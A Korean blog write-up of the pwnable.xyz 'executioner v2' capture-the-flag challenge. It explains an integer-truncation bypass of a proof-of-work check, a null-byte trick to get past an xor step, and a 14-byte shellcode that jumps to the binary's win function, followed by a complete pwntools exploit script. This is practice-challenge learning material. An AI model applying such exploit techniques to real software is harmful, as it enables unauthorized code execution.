상세 컨텐츠

본문 제목

[Pwnable.xyz] executioner v2

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 4. 20. 16:25

본문

728x90
반응형

# Process

 

1. pow

 

pow에서 v2v30이면 안 되는 조건이 있다.

sleep(v2*v3)가 있어서 v2*v30으로 만들어야 한다.

이것을 우회하는 방법은

 

 

DWORD0x80000000라는 숫자를 보면 최상위 비트가 1이고 (음수이므로) 나머지 자릿수는 0이다

따라서 이 0x80000000 수와 어떤 수든 곱하면 0으로 만들 수 있다.

 

 

8바이트로는 10진수로 위와 같은 수이다.

 

v2v3의 형은 int형이다. int형은 4바이트이므로 v2*v3를 해도 int, 4바이트이다.

근데 bufunsigned int형으로 int형보다 크기가 훨씬 크다. 그럼 v2*v3를 했을 때 하위 4바이트까지만 잘린다.

따라서 이 취약점을 이용해서 하위 4바이트만을 곱했을 때 모두 0이 나오게 한다면 된다.

위의 0x80000000 수에 짝수를 곱하면 0이 되고, 홀수를 곱하면 0이 되지 않으므로 이것을 이용한다.  

 

x = 0x80000000으로 두고 x + y = buf이어야 하므로 y = buf – x로 준다. 따라서 y값이 짝수일수도, 홀수일수도 있으므로 확률은 반이다. (반이면 높은 확률!)

 

2. xor 우회

 

디버깅으로 확인해보면 xor rsp, rbp, rdx를 제외한 모든 레지스터를 초기화한다.

\x00\x00을 넣으면 안 된다.

따라서 디버깅을 하면서 \x00\x01, \x00\x02로 해보면서 xor이 넘어가는지 확인해봐야 한다.

해본 결과, \x00\x02로 우회된다.

 

3. 쉘코딩

 

이제 여기를 통과하고 나면 쉘코드를 넣어야 한다.

xor를 한 후 mmap으로 실행권한을 줘서 실행해주는데 공간이 16바이트밖에 안된다.

그리고 앞에 xor를 우회하기 위해 2바이트를 넣으면 14바이트밖에 쉘코드를 사용하지 못한다.

따라서 쉘코딩을 해줘야한다.

 

우리는 win 함수를 가지고 있다.

근데 PIE가 걸려있어서 정확한 주소가 아닌 offset이다.

디버깅을 해봤을 때 xor si로 들어가본다.

xorrsp, rbp, rdx를 제외하고 모두 초기화되는 것을 알았다.

 

 

pop rax : rax 레지스터가 rsp 가리키게 한다.

디버깅에서 info func으로 확인해보면 PIE에 대한 각 함수의 offset을 알 수 있다.

rax가 가진 값에서

rdxcall rax 이후 다음에 실행할 코드의 주소를 가지고 있다. 왜냐하면 확인해보면 빨간색으로 표시되는 것은 CODE 영역이고,

 

 

따라서 이 다음 주소 하위 offset에서 win과의 offset (PIE Offset 끼리)의 차이를

rsp가 가지고 있던 주소를 rax에 넣었으므로 거기서 sub 명령어로 offset만큼 빼면 win 주소이다.

그럼 call rax 또는 pop rax ret으로 또 raxrsp에 넣어서 ret을 하면 win으로 ret 시 이동, call하면 그냥 win으로 이동한다.

 

이거를 shellcode.s로 먼저 어셈블리 코드로 짠 후

 

$ nasm -f elf64 shellcode.s -o shellcode.o

로 해서 만들고

 

objdump -d shellcode.o로 확인한 숫자들로 \x를 붙여서 쉘코드처럼 만들면 된다.

 

 

opcode offset을 기준으로 이동하므로 rax에서 win에 대한 pie offset만 빼주면 된다.

 

 

 

 

call rax 또는 ret의 차이.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30028)
elf = ELF("./challenge")
win = elf.symbols['win']


p.recvuntil("= ")
pow = int(p.recv(10), 16)
log.info("pow : "+hex(pow))

x = 2147483648
y = pow - x

p.sendlineafter("> ", str(x) + " " + str(y))

shellcode = "\x58"
shellcode += "\x48\x2d\xce\x02\x00\x00"
#shellcode += "\xff\xd0"
shellcode += "\x50"
shellcode += "\xc3"

gdb.attach(p)

p.sendlineafter("Input: ", '\x00\x02' + shellcode)

p.interactive()

# exploit

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] rwsr  (0) 2020.03.25
[Pwnable.xyz] iape  (0) 2020.03.25
[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] badayum  (0) 2020.02.28

관련글 더보기